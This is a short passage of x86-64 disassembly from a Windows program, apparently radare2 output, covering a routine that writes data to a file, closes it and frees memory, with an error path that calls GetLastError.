lea rdx, [rax - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140006d47
movsxd r8, esi
mov r9, rax
mov edx, 1
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbp, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea ecx, [r9 + 8]
call fcn.14000a500
jmp 0x140006d2f